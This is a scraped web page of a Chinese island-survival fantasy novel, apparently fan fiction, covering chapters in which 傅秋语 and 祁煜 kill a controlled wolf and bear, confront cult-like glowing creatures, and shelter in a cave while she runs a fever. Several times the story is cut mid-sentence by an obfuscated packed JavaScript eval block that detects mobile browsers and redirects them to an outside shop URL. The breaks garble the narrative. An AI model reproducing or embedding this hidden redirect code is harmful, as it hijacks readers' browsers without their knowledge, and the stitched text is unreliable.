从她的少女时期开始，傅秋语的亲人……就总是指责她的思想太锋利，太刚强，从来不肯妥协，不肯退让。对自己认定的事，就算把南墙撞破了也不肯回头。 曾经有那么一段时间，她被说服了。 和很多傻姑娘一样，她试着妥协，试着柔软，试着让自己和其他人一样。 结果是她尝到了背叛自己的代价。 从那件事之后，她的人生飞速坠落。她怨恨过很多人，包括自己。 在被浪卷入海里时，她想的是，自己失败的一生终于能够结束了。 但是她不但没死，还遇到了一个非常好的人。 现在，傅秋语无比庆幸自己是这种性格。 太过软弱的人，无法拿起武器，她愿意承受刚强的代价。 很奇妙，在返回的过程中，傅秋语感觉自己的躯体不再痛苦。或许是肾上腺素的飙升让她短暂地脱离了病痛的困扰。 她的心也在这一刻脱离了人间的桎梏，变得很轻快。 她觉得自己好像变成了一只鸟，她的心自由地盘旋在山林之上，以一种桀骜的姿态，向大自然的顶级猎食者发出挑战。 傅秋语不害怕。 都已经沦落到这个境遇，已经没什么东西能够令她害怕了。 她的人生本来就是一坨狗屎，活着也不比死了强多少。 而且一旦俞启死了，她独自在荒岛上便会更难生存，恐怕结局不过就是多活半日。 本来担心会追踪不到俞启，没想到回来一看，发现可能是野兽们追他的时候动静太大，沿途摧毁了不少植物，就算她一个纯外行都能清晰地辨认它们走过的痕迹。 她提着树枝就要跟上，突然，一声细弱的叫声吸引了她的注意力。 一只幼小的棕熊，在雨中瑟瑟发抖。 是那头母棕熊留下的幼崽！ 傅秋语看着它，停住了脚步。 她的猎杀计划，终于扣上了最重要的一环—— —— 和傅秋语分开后，祁煜在山林里东躲西藏上蹿下跳。 他感觉自己差不多可以脱离鱼籍，加入猴籍了。 如何在不使用evol的前提下解决一头熊和一只狼的追猎，这实在是个值得令人深思的问题。 一只成年棕熊的掌力约为1600公斤，狼的力量虽然不行，但是爆发力和咬合力都相当惊人。 祁煜可以在不使用异能的前提下对自己的目标完成一次完美的暗杀，但前提是他需要经过周密的布局。 他也可以在不使用异能的前提下和海洋霸主杀个昏天黑地，但这是因为他大海中是无敌的。 但是他现在需要在没有任何工具、武器、异能且不具备场地优势的情况下，和陆地上的霸主正面solo，这属实接触到他的知识盲区了。 本来以为，他可以依靠大雨顺利逃生。 大雨可以冲掉很多信息，掩盖很多踪迹。 但没想到他的伤还是太深了，即使及时包扎起来，可血还是不断地向外溢。 偏偏无论是棕熊还是狼都是嗅觉非常灵敏的生物，即使短暂地甩开了，不久后它们还是会跟上。 简直是阴魂不散。 祁煜没别的武器，就边跑边把自己的马赛克火苗当成飞镖射。 于是这一行，无论是追人的还是被追的都是一身血。 狼有些扛不住，它皮毛脂肪没有棕熊厚，按平时它已经撤退了。 野兽没有抗生素，受伤了只能自己舔，好不了伤口感染只能寄掉。所以一般来说，捕猎时受到这种级别的伤，野狼都会放弃狩猎。 但不知道为什么，大自然的生物法则好像在今天不管用了。 它非但没有撤退，它甚至狂暴了，它甚至利用自己灵活机动强的特点和攻高血厚的熊打起了配合。 祁煜被这一顿组合拳锤得只有跑的份，他大骂：“卧槽，你们都上过大学啊！” 这科学吗？这科学吗？？？ 他只是流落荒岛了，不是穿越到动作游戏里啊！ 熊和狼都能打配合了，它们甚至还会快慢爪！他做梦都梦不出这么离谱的事！ 然后更离谱、更狗血的事情发生了。 他居然被逼退至一处山崖，山崖下是湍急奔涌的马赛克之海。 山崖上，狂风裹挟着豆大的雨点劈头盖脸地砸下。 祁煜不再逃了。 毕竟，已经无路可逃。 他张开双臂拥抱狂风暴雨，狂风掀起他的发丝和衣摆，他大笑起来，雨水冲刷着他的身体，冲掉他脸上的血迹。 雳闪不时撕裂天幕，照亮他冰冷的眼睛。 不对劲。 这件事处处透露着不对劲。 野兽能有这么高的智慧，还能跨物种联合？显然不可能。 从他被困在这座岛上，他就老遇到怪事，他合理怀疑这俩只野兽也不简单。 他看着天幕，忽然说：“这一幕，倒挺适合作画的。” 黑黢黢的林中，一大一小两只野兽的眼睛发出幽绿的光。当它们步出丛林阴影时，闪电再次照亮天幕。 祁煜清晰地看到，那两只兽意识到他退无可退时，毛脸上同时露出了极为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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比如“你为什么要回来？”，再比如“你是怎么找到这里的？”，还比如“你用了什么手段才让它那么快死掉？”。 但是这些他都没问，因为在一个转念的时间，他就已经都明白了。 她远比他想象的更坚强、更勇敢、更聪慧。 傅秋语把他的匕首扔回去：“你的东西，还给你。”她提醒道：“当心，上面有毒，别划伤自己。” 祁煜接过匕首。 他抚摸着用叶片和布料层层包裹的外壳，心道傅秋语这家伙说不定意外地适合当杀手。 包住匕首，为了让光滑的金属表面更充分地浸泡毒液并且不被雨水冲走。揭开包裹时，他清晰地看到匕首表面有一层残渣。 那是箭毒木果实的碎渣，她碾烂涂在了匕首表面。 虽然祁煜认不出来这是什么东西，但他看得出来她真的很想让它们死。 心思缜密，出手果断，虽然柔弱但关键时刻很靠谱。这队友能处！ 祁煜获得升级版装备，他觉得自己又行了。 他心情极好地耍了个刀花：“谢了，你来得很及时！” 傅秋语一击得手后，果断退出战场，躲到一边装填弹药——指将箭毒木果实填进树枝尖端预留的凹槽里。 她毕竟在这之前从未接触过箭毒木，怕传闻夸大，故而下了大剂量。 她抬头看到俞启耍刀的动作，眉头当即就是一跳，“你就别浪了，小心把自己浪死……别看我啊！看熊！专心打架！” 14. 014 野狼倒下后，这头两米多高的母棕熊仿佛一下觉醒了什么战友情，它咆哮着扑向战友的尸体。 势头之猛，即使是获得了船新附魔装备的祁煜也得避其锋芒。 他连忙躲开，退到傅秋语身前。 只见棕熊低头嗅了嗅同伴的尸体，然后—— 一口就把狼头咬掉了一半！ 顿时，狼头脑浆迸裂。 傅秋语惊得往后缩了一下。 祁煜也吃了一惊，连忙捂住傅秋语的眼睛，说：“脏东西，别看。” 傅秋语忍住恶心，把祁煜的手拉下来，强迫自己看下去。 祁煜无奈地说：“真犟。” 傅秋语：“不是，你快看！” 祁煜闻言看过去，只见那头棕熊的鼻子在同伴的大脑里翻找什么，然后一仰头，扯出了一个发光的东西。 那东西是个人形，约半个手掌的大小，在黑夜中发着五颜六色的炫光。 在被扯出来时，这个人形发光物还在说话—— “哎呀哎呀，失败了，失败了！我好弱，我居然被杀掉了!” 那东西声音极为尖细稚嫩，是动画片里那种萌系声音，但是听在傅秋语耳朵里，比踏马的恐怖片里的女鬼还惊悚。 傅秋语露出了世界观崩碎的表情，惊恐道：“……我们这是撞鬼了吧？！” 祁煜冷笑：“装神弄鬼。” 他就说这俩畜生有古怪！ 随着那个发光小人暴露在空气中，空中浮现出两根若有若无的丝线。 丝线从发光小人身上发出，一端连接在棕熊身上，而另一端连在祁煜身上。 “这是什么？” 祁煜伸手就去拽，但是他的手穿过了丝线，根本触碰不到实体。 但是，在丝线身上，他感觉到了一股既陌生又熟悉的能量。 发光小人被熊叼在嘴里，动了动头。 虽然它的脸上没有五官，但傅秋语就是觉得它在看着她。 发光小人：“嘻嘻嘻嘻嘻，那我们要更努力一点了，要带着他，一起回到主人身边啊~~” 棕熊仰头应声，吼声震荡山林。 它一口将发光小人吞下，丝线消失。 随即，棕熊身侧升起一个由不同色块组成的半圆环，像一轮残月一样挂在它头顶。 ——是玛丽苏物质！ 傅秋语向祁煜确认：“它这是强化了？” “九成乃至十成是。”祁煜举刀应战：“你退远点，接下来恐怕是场恶战。” 傅秋语冷笑：“我来这儿也不是毫无准备。” 她向后退了两步，身形再次融入黑暗，她说：“这东西有智慧，我就不说计划了。你只管打，我自有办法支援你。” 经过这一遭，祁煜算是明白她确实有点本事，不是那种需要人保护的性格。 虽然不知道她的支援是什么，但是他先冲了。 这俩东西的的确确就是冲着他来的，若是平时，这么邪门的东西他肯定要拿下，再好好研究一顿来历。 但是他现在心有余而力不足，那就不必多说，直接死斗。 雨夜的气温已经降到十多度，但是在场的没有一个人感觉到冷。 悬崖边一人一熊的搏斗，已经接近白热化。 祁煜因为失血过多，身法已经不如平时那样灵活。 但熊吃掉了那个小人后，好似获得了狼的部分能力，那小山一样的躯体居然不再笨重，行动无比灵活，甚至可以躲过祁煜的部分攻击。 而那个残月一样的马赛克，让它的皮肉更坚固，祁煜的刀砍上去，只能留下很浅的痕迹。 他试图攻击那个残月，但没有用。虽然能触碰到，但是它比石头还硬，根本劈不开。 傅秋语从刚刚潜入树林后就一直没动静，也不知道干什么去了，她的支援到底是什么也没见着，但祁煜没工夫去想这些。 因为他光是应付似乎在疯狂吸收战斗经验、出招花样越来越多的棕熊，就已经感觉头皮发麻了。 但是他没有等太久。 他先是听到了某种幼兽的叫声，那声音似乎非常快乐。 下一秒，他看到眼前的母熊动作顿了一下。 然后，那个声音又叫了一下。 一个小东西从树林里跑出来。 ——是母熊的幼崽！ 它像个毛团子一样，腿短短的，像球一样滚过来。幼小、可爱，稚嫩。 母熊的动作变得迟缓，它想要继续攻击祁煜，但被躲开了。 “嘤！” 它的视线不由自主地跟随小熊，看着它快乐地扑过来。 祁煜心道：好机会！ 正要上去输出，林中某处正看着这边的傅秋语忽然出声：“咳！！！” 她一出声，祁煜就知道她还有后招，果断收手。 母熊和幼崽的距离越来越近，不过短短的数秒，它面对祁煜时那狂乱狰狞的神情逐渐消失，变为了纯粹的属于野兽的柔情。 在它们距离彼此只有30厘米，下一秒就可以拥抱在一起时，小熊腰间的藤绳一紧。 母熊一怔。 下一个瞬间，幼崽被绳子以极快的速度拉回丛林的暗影里，小熊细弱的叫声划过雨夜。 反应过来后，母熊暴怒地冲入暗影。 在这一瞬间，脑中小人的控制彻底失效。 祁煜紧跟在母熊后面。 他可不关心幼崽，他担心的是傅秋语还在里面，他怕她和暴怒状态的母熊正面撞上。 幼崽没被拖太远，它被高高地吊在不远处的树上。 林子里实在是太黑了，不时亮起的闪电更是干扰视线。 母熊不管不顾地跑向幼崽，然后—— 噗嗤！ 母熊慢了半拍，看向腹部。 在小熊的正下方，被灌木丛掩盖着的凶器，笔直地戳入它的腹部。 那根被傅秋语加料加强过的箭毒木树枝，架在树干与石头之间，用藤蔓捆起来，强度不算大，但是用来破它的防刚刚好。 它冲过来的力有多强，箭毒木刺入它躯体的力度就有多大。 毒液一入血肉，立刻发作。 但是加强后的熊明显比狼抗造，它头顶的那轮弯月发出赤色的光芒，光芒照过它的腹部，深深刺入的箭毒木居然开始自己向外蠕动。 棕熊发出毛骨悚然的吼叫声。似痛苦，似兴奋，似狂乱。 ——它要恢复了！ 但是在场两人，怎么可能给它这个机会？ 傅秋语看准时机从树上跳下来，直接骑在棕熊的脖子上，抓住那轮弯月就往下拽。 弯月剧烈颤抖，它似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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傅秋语还在骂：“不知道是从哪个下水沟爬出来的臭老鼠，也敢把脏爪子伸到我的人身上，你也配？！我去你***的***不管你们主子是谁，给我有点远死多远！” 这攻击性，这流畅又丝滑的国粹，祁煜都不敢打断她。 那若有如无的丝线又出现了。 两只小人的手连在一起，还有一根连着祁煜。 傅秋语直接动手拽那根线，对祁煜说：“你身体里应该还有一只。” 折腾了这么久，差点命都没了，就是因为这几个鬼东西，她现在火大得伽椰子来了都得挨两拳。 “崽种，给我滚出来！” 祁煜感觉到了，自己胸膛中有什么异物在挣扎，它试图往里钻得更深。 傅秋语有点脱力了，拽了半天拽不出来，急得大骂：“你是死人啊，不知道配合一点吗！往后用力啊！” 祁煜委屈地看了她一眼。 然后听她的，蹬着树往后用力。 双方拔了半分钟河，终于听到“波”的一声，第三只小人从他胸口拽了出来。 随着小人脱离他的身体，先前祁煜当飞镖飞了一地的马赛克火苗，瞬间恢复成他的异能原貌。 森林里腾得一下着火了。 傅秋语吓了一跳，“卧槽什么情况！” 祁煜心虚道：“……山、山火吧。” 傅秋语：“下雨天着山火？肯定有鬼！” 她把三个小人按在地上哐哐锤，“说！是不是你们干的！” 15. 015 人被她锤得吱哇乱叫，才几下，小人身上出现了裂纹。 傅秋语还想问它们点事情，怕一下给它们锤死，便停手不打了。 傅秋语威胁道：“赶紧把火收了，不然你们死定了！” 这三个小人长得一模一样，她也分不清谁是从谁身体里出来的，就听到这些小人叽叽喳喳地反驳—— “这也怪我吗？你怎么不问问自己身边那个男人！” “就算真能把火收了，我们也死定了！” 傅秋语看了眼祁煜，对方迅速露出一个什么都不知道的表情，然后光速转移话题：“少废话，你们是什么来头，刚刚那个升起来的残月，和外面的马赛克海有什么关系？你们的主人是谁？” 三个小人不约而同地沉默。 傅秋语捏紧小人，“说话！” 她这一捏，小人身上的裂纹更大了，开始簌簌地往下掉碎屑。 其中一个小人开始笑：“就算我们不说，你们也早晚会知道。” “这个世界注定消亡……” 另一个接上：“但我们的主人找到了通往新世界的办法。” “那不是马赛克，它是从新世界降下的福音，而我们是引渡使者！” 祁煜嗤笑：“就你们，还引渡？上来就要人命，你们那个新世界是地狱吧？” 小人摇头晃脑地说：“只有□□消亡，才能让精神脱离旧世界的桎梏，随我们一起抵达新世界。” 傅秋语一脸嫌恶：“踏马的原来是邪教？” 祁煜赞同地点头：“妖言惑众。” 三个小人互看一眼，对祁煜说道：“现在的你还无法理解，当然觉得我们在妖言惑众。但总有一天，你会听到的，来自新世界的呼唤。” “你会渴求它，就如同人类渴求食物，鲜花渴求甘露，飞鸟渴求天空。到那时，你自然而然会来到这边，成为我们的同伴。” 不知道为什么，它们说就说，居然还有一只小人抱着傅秋语的手指蹭脸。 傅秋语被恶心得浑身起鸡皮疙瘩。 她捏紧了三只小人，“够了，我没兴趣听你们的邪教宣言！说点实际的，你主子是谁。” 小人又笑了，它们异口同声地说：“现在还不能告诉你~” 傅秋语额角爆出青筋。 “只有你，我们判断不了立场。” “但是你已在局中，无法逃避，无法改变……在那一刻到来之前，请在这个世界好好游历，建立羁绊。” 傅秋语的眼神很冷，有一股戾气藏在眼底，但是她没有表露出来。 “只有这样，在命运指引你做出最后选择时，才会不留遗憾。” 中间那个小人扯了扯伙伴的手，对其他人说：“差不多该走了吧？” 那两个小人纷纷点头。 傅秋语：“想跑？” 小人仰头，快乐地对她说：“才不是！我们任务失败，到了该死的时候啦！” 傅秋语：“……？” 祁煜：“这是可以用这种语气说出来的话吗？” 三个小人散发的光芒逐渐变强，中间那个小人对祁煜说：“朋友，总有一天，你会理解我们的，死亡并不是我们的终点。” “而最终……我们会在新世界里再会！” 小人光芒爆发出的越来越强，傅秋语感觉手里的触感不对劲，连忙把小人扔出去。 嘭地一声巨响，三个小人直接在空中炸开，爆发出的强光几乎照亮了整座山，气流将两人掀翻在地。 等两人再次睁开眼睛时，小人消失不见了，只有一些残余在空气中的光屑被风雨卷走，消散在天际。 …… 夜恢复了寂静。 雨声再次是这个夜里唯一的声音。 傅秋语瘫坐在地上，久久没有动静。 她的暴怒在雨中归于平静，重新变回那个看起来有点柔软的女人。 但是，她的眼底仍藏着一股挥之不去的晦暗。她死死地盯着光屑消失的地方，不知道在想什么。 祁煜把小熊从树上放下来，遗憾地发现小熊已经死亡。 它身上没有外伤，也没有挣扎痕迹，是突然死掉的。 ……恐怕是在刚刚小人爆炸时，被忽然爆发的能量波震死的。 傅秋语从地上爬起来，背着祁煜整理了一下自己糟乱的头发。 她的手有点发抖，她自己看到都愣了一下。然后她平静地擦了擦脸，扯了片叶子给自己擦拭腿上的泥泞。 祁煜说：“你就别讲究了，咱们都这样，我不会笑你的。” 傅秋语：“……” 这种擦法完全没用，越擦越脏，而且她好像有点控制不住自己的手了，只好无奈放弃。 她转身看到他怀抱着小熊走过来。 祁煜说：“死了。” 傅秋语：“……” 她没说话，但是表情分明是哀伤的，嘴唇绷成一条直线。 祁煜安慰她：“不是你的错，它是被那几个小人爆炸震死的。” 傅秋语平淡地说：“……不是，我是在想，死都死了，不如烤了吃掉吧。” 祁煜：“……” 祁煜深吸一口气，说：“不行，熊肉很膻，而且很柴，不好吃。” 傅秋语看着他：“熊是保护动物，你怎么知道它什么味道？” 祁煜眼神漂移：“就……好奇查过。” 最终，小熊的尸体被放在母熊尸体旁。 傅秋语最后看了一眼，默默跟上祁煜。 两人结束了一场死斗，但身心俱惫，完全没有庆祝欲望，只想尽快找到一处避雨的地方。 祁煜边走边偷偷熄火。他的火不会被雨浇灭，造成森林火灾就麻烦了。 他还是用树枝牵着傅秋语走，期间一直感觉树枝在颤动。 本来只是微颤，他还以为是他们行走的自然颤动。 但是过了一会儿，那树枝抖动的频率开始变得很不对劲。 然后，树枝那边一轻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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明明看着就是冷心冷肺的一个人，就算真跑了也没人会怪她，为什么要回来救他呢？ 说是两模两样，但这种时候……又是傻得一模一样。 而且，傅秋语居然也和猎人小姐一样，被无意识卷入了一场博弈。 但是，关于猎人小姐的博弈，他尚有眉目。但关于傅秋语的博弈，他自己也身在局中，一头雾水。 ?? 她们简直就像《百年孤独》里总是重复着相同命运布恩迪亚家族，命运对她们似乎格外残忍。 或许她的穿越，并非偶然。 祁煜的目光似乎是有点哀伤，他摸了摸她的头，说：“你做得很好了……接下来交给我。” 16. 016 傅秋语的意识从如泥般的混沌中苏醒时，她感觉这个世界在摇晃。 就像躺在摇篮里一样，晃悠悠的，很好睡，很安心。 连同那仿佛从骨头里透出来，然后传导到皮肤上的疼痛，都舒缓了许多。 虽然还是疼。 她睁开沉重的眼皮，缓了几秒，才发现自己在俞启背上。 对方深一脚浅一脚在黑暗的雨林中行走，她头上顶着他的衣服，头靠在他颈窝。 鼻腔里都是他的血的味道，氤氲潮湿的热气被困在衣服下的方寸空间里。她听不清风雨声，只能听到耳畔属于这个男人沉重的呼吸声。 傅秋语定睛看去，俞启只是简单包扎了肩上的伤口，血并没有完全止住，绷带上一片濡湿，分不清到底是雨水还是血水。 傅秋雨心想，他应该很疼、很累。 但这个人还是背上她，走得那么稳，手没有一丝松下的迹象。 傅秋语一只手从他脖子上放下，然后在裙子上摸索。 祁煜发现她醒了，还松了一只手，把她往上颠了颠，说：“老实点，别乱动。接下来我背你走。” 背后传来奇怪的声音，然后傅秋雨把手绕回前面，但是没搂着他，而且是用什么东西捂住了他的伤。 祁煜低头一看，原来是她把裙子上的装饰蝴蝶结拽下来，当做止血包给他止血。 不知道为什么，他觉得这一幕有点好笑。 但是细想又觉得他们好惨，属实笑不出来。 傅秋语的头一直靠在他颈侧没有动，估计是真的没力气了。 她灼热的呼吸均匀有规律地扫过他的皮肤，和水壶烧开了喷出来的热气似的。 他背着这个开水壶，在这个本该感到寒冷的雨夜里，只感觉了热和烫。 都快和他的异能差不多烫了。 祁煜用肩膀拱拱她的头，问：“你现在感觉怎么样？” 傅秋语：“……疼。” 祁煜：“还有呢？” 傅秋语：“疼。” 祁煜：“具体哪儿疼？” 傅秋语有气无力地回答：“没有具体……它就是那种，很特别的……好像从浑身骨头里钻出来的疼。” 祁煜想说话，但嘴刚张开又闭上了。 他有点想和她聊玛丽苏物质的事，但是他又觉得，现在不是说这些的时候，至少要等到她神志清醒再聊。 这么一顿折腾，她的情况更糟糕了。 她总是这样，在本该逃跑的时候回来。算上昨天，她已经救过他两次了。 他垂落眼睫，专心看脚下的路，问：“……你为什么回来找我？” 傅秋语：“……” 她不动也不说话。 就在他以为她又睡过去时，她那原本搭在他肩膀上，自然下垂的手动了。 她的脸还是埋在他颈侧，但是指尖却摸索着触碰他的脸颊。 一触即分。 但那炙热的触感，依然残留在他的皮肤上。 傅秋语沉闷、低哑的声音从耳畔传来。 她说：“不要难过……” 祁煜瞳孔缩了一下。 雨丘也总是喜欢这样碰他的脸。 虽然他不喜欢……因为她总是控制不好力道。 每次她这么戳他，他都会气得背过身去，她巴巴地来哄。 可每次把他哄好了之后，她下次还是会这么戳他。 他绷紧下颚：“我没有难过。” 傅秋语笑了。 很轻很轻，几乎没有声音，只有炙热的吐息喷洒在肩膀上。 很痒。 他看向傅秋语，正巧对方也睁开迷蒙的眼睛，侧头看他。 黑暗里，祁煜看不清她到底什么神情，只能感受到对方的目光里含着浅淡的柔情。 但更多的，是哀伤。 就如同这雨一般，细密悠长。 她再次触碰他的脸颊，依旧是那种仿佛安慰一样、不带任何旖旎色彩的触碰。 滚烫的指腹虚虚地碰了两下他的脸颊就收走了，仿佛在对待一个需要精心呵护的珍宝。 没有人会讨厌这样的触碰…… 她说：“不要难过……我帮你，就是帮我自己。” 祁煜：“…………”这真的是在安慰人吗？ 虽然但是……好吧，虽然很不想承认，但他真的有被安慰到。 说完，她又失去了意识。 那只捂着他伤口的蝴蝶结，眼看就要从他肩膀上滑落，他的动作根本没过脑子，下意识就叼住了。 反应过来自己在做什么的祁煜：“………………” 他瞥了傅秋语一眼，见她真的晕过去了，不会看见他这幅糗样，他把人往上颠了下，放心地叼着蝴蝶结，继续在雨夜中寻找避雨点。 或许是他们的惨样让上天都看不下去，没过一会儿，他找到一处山洞。 山洞里还算干燥，还有一些干枯的落叶和树枝，他把这些收在一起，生火烘干衣服。 地上很不平整，他不想自己的救命恩人被石头硌醒，就让她靠着自己睡。 她的身体一直在抖，祁煜便坐得离火近一点，方便火把她身上的衣服烘干。 火焰驱散了夜的寒凉，她的身体渐渐地不再发抖。 祁煜的眼睛里映着火光。 他低头看着手心里的蝴蝶结，血已经将这个蓝色的蝴蝶结一半都染成深色，他都不知道自己为什么要一路叼着它，简直蠢爆了。 但是…… 他的眼眸里浮现出困惑。 就算是同一个家族出身，会连喜好都一样吗？ 他拉起傅秋语的手，一只手盖在她的手掌上，闭上眼睛驱动力量。 睁开眼睛，他看向她的掌心。 那条蓝色的小鱼并没有如预想中出现。 “不是吗……” 他这么说着，眼中的困惑越发浓重。 连契约都告诉他不是…… 但为什么，他还是觉得…… 傅秋语的头忽然从他肩膀上滑落，他捞了她一把，重新把她的头按回去，还顺手拍了拍。 结果没想到把人拍醒了。 傅秋语迷迷糊糊地抓住他的手，问：“……你在唱歌吗？” “唱歌？我没有。” “……没有？可是……我真的听到了……你听，还在唱。” 祁煜什么都没听到。 他心中奇怪，低头看她。 温暖的火焰驱散了她身体上的寒凉，她冻得苍白的脸因温度上升再度变为绯红。 半干半湿微卷的头发搭在两人肩上，衣服紧贴着身体，跃动的火光描摹她的轮廓，轻吻她的脸颊。 她安静地扇动眼睫，那长而直的睫毛半掩着如琉璃似的眼睛。 她迟钝而缓慢地寻找声音的来源，光影在她的睫毛上流转，像一对金色的蝴蝶缓慢地扇动翅膀。 很神奇，祁煜从来不喜欢画人物像。 比起人，他更喜欢观察一朵花不同时期的美丽，欣赏山峦在不同季节的巍峨，描摹大海在不同天气不同光影下的浩瀚。 但这是他今天第二次觉得傅秋语很适合入画了。 早晨海边她回头那一幕，适合用印象派的笔触去描绘风的轻盈，捕捉她那一瞬间的优雅灵动。 至于现在这一幕，则适合古典主义油画。 在浓烈如酒般的光影下，她身上简单的色彩被分割为色彩极为浓郁、分配得当的区域——浓黑如墨的长发，蓝到艳丽的裙子，在火光下散发着羊脂白玉般朦胧而温润的辉光的肌肤。 只要再稍加一些细节丰富画面，就能…… 傅秋语忽然抬头看他，问：“……你听不到吗？” 接触到她目光的一瞬，祁煜瞬间从静谧深沉的艺术思考里抽离。 他意识到自己好像一直在盯着她，目光好像被什么烫到了似的，飞速地躲闪开。 祁煜垂眸回答：“我什么都没有听到。” 傅秋语安静了，她不再询问，而是自己闭目倾听、辨认。 那个声音似乎从十分遥远的地方传来，像是天堂的赞歌，又像是地狱的挽歌，朦胧优美，哀伤苦涩。 “Go to find a safer place to rest（前往一处静谧的安身之地） ……” “When you hear the willow''s hiss（当你聆听柳树的萧瑟）……” “Beware if you dare dream neath its leaves（请当心层层树叶下所掩藏的梦境）……” “Beware, go to find a safer place（请留心，去寻一处安身之地）……” 她安静下来，祁煜却又忍不住地看她，观察光影在她皮肤上跃动时的明暗变化。 傅秋语说：“居然是我听过的歌……《柳树摇篮曲》……我最喜欢的曲子。” 她的声音也变得哀伤而苦涩：“……为什么会在这里听到？” 祁煜又仔细听了下，除了外面的雨声和不时响起的雷声，他确实什么都没听到。 他问：“声音是从哪个方向传来的？” 傅秋语垂眸倾听，仔细辨认，但还是分辨不出来。 她摇了摇头，“听不出来。” 祁煜扶住她的肩头，将她的身体推离了一些，说道：“我出去看看。” 这个岛邪门得很，既然能有专门对付他的玛丽苏物质和彩色小人，那说不定还有什么能专门对付傅秋语的东西。 傅秋语连忙拉住他，目露凝重：“这题我会……恐怖片里不是经常有这种桥段吗？” “一群在深山冒险的探险家，在一个风雨交加的夜里听到外面传来诡异的声音……有人出去查看情况，然后……再也回不来。” 祁煜默默地坐了回去，“这种情况下，我们应该坚定抱团，避免被单杀。” 他伸手捂住她的耳朵，“这样就听不到了，睡吧。” 傅秋语：“……” 嗯……………… 怎么说呢？…… 这样虽然确实就听不到了，但是…… 傅秋语缓慢地眨了下那双不太清醒、带着一丝浑噩和迷茫的眼睛。 她的脸被捧在对方掌心。他的手很宽大，简直像是要包住她整个头似的，让她联想到自己捧自家小狗的脑袋时，小狗大概就是她此刻的感受。 祁煜皱着眉，很认真地端详她的脸。 ……从刚刚开始他就很在意了，为什么感觉她身边的光都这么模糊？简直就像给她开了独档柔光滤镜似的。 难道他近视了吗？ 两人看着彼此的眼神里都带着浓浓的困惑。 傅秋语率先打破沉默，真诚发问：“但是这个姿势……我要怎么睡觉呢？” 祁煜：“……啊。” 被她提醒，他才发现这个姿势不对劲，略尴尬地收手。傅秋语的头获得了解放，靠回了原来的位置。 然后，祁煜忽然发现了她身边的光线模糊的原因。 她的头顶，头发半干未干的地方……正在冒烟。 祁煜瞪大了眼睛，手不由自主地探向她的额头。 ——好烫！比之前的所有时刻都要烫！ 他揉了揉眼睛，把头往后仰，看向她的身体。 同样，衣服半湿不湿的地方，也在冒热气。 祁煜抽了抽嘴角。 他还是第一次见到有人发热发到冒烟的！傅秋语这都还能维持一个相对清醒的神智和他说话，不得不说这人也是牛到一定境界了！ 他面色凝重地晃了晃傅秋语，说：“……咱翻个面再睡。正面衣服烘干了，该烘背面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368132|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” * 两人光是打败那三个小人就用了不少时间，等到祁煜找到山洞时已经到了后半夜。 接近凌晨的时候，傅秋语的高热已经到了令人心惊的程度。 浑身潮热发抖，呼吸急促，还伴随着神志不清的呓语。 一会儿说冷，一会儿说热，一会儿说疼，一会儿还说什么“再也见不到了”。 祁煜也不知道该怎么办，他身边什么都没有，也没法把药喂给这个状态的傅秋语。 他只能手足无措地化身面点大师，拍拍她的背，希望她能好受点。 一不留神，她就从他肩头滑下来，他眼疾手快地接住。 傅秋语神志不清地说：“冷……冷……” 祁煜把自己烘干的衣服紧紧地裹在她身上，把她身子扶回原位。 消停没一会儿，她开始难受地挣扎，要把衣服掀了，祁煜按住她不让她掀，她闹腾着说：“热……” 祁煜尝试和她讲道理：“你要把汗发出来，病才能好。” 但是病中的人哪里还能听见他说话？ 傅秋语的意识沉在混乱的梦境里，眼珠不断地滚动，她好像梦到了什么极为痛苦的事，眉头紧蹙，眼角落下泪珠。 她的眼泪不能变成珍珠，流到半路就被滚烫的皮肤蒸干，但不知道为什么，祁煜却觉得自己目睹了什么珍贵的东西正在缓慢破碎。 一个人到底经历了多大的痛苦，才会不想活下去，甚至连做梦都在流泪？ 他无声地擦干她的泪痕，把她乱舞的爪子连同她整个人一同束在怀里，不让她再乱动。 电视剧里不是经常这么演吗？ 人类小孩在生病时，他们的亲人就会把他们抱在怀里，拍拍他们的身体，唱歌哄他们睡觉，小孩听到声音就会安分下来。 他有节奏地拍着她的背，唱起了利莫里亚的歌谣。 很久不唱，他原以为自己会生疏，结果刚起一个音，他的肌肉记忆就让他无比丝滑地唱了下去。 渐渐地，傅秋语安静下来了，她不再流泪。 正当他以为自己方式奏效了的时候，就听到傅秋语用嘶哑的声音，阴恻恻地说：“得到这个结果……是你们自找的……都别想好过……都死……都得死……” 祁煜抽了抽嘴角。 还得是这个女人。 他到底是哪根筋不对，刚刚有一瞬间居然会觉得她是某种易碎品？ 从初识到现在，这女人所表现出来的精神强度和心理素质，早就足够秒杀90%的人类了，就连他都忍不住佩服。 虽然不知道发什么了什么…… 但他认为，一个人的特质不会轻易随着环境改变。 这样的人，无论遇到什么，就算把她逼到绝境，踩到泥里，她也一定会爬起来和敌人殊死搏斗。 拍着拍着，祁煜的困意袭来。 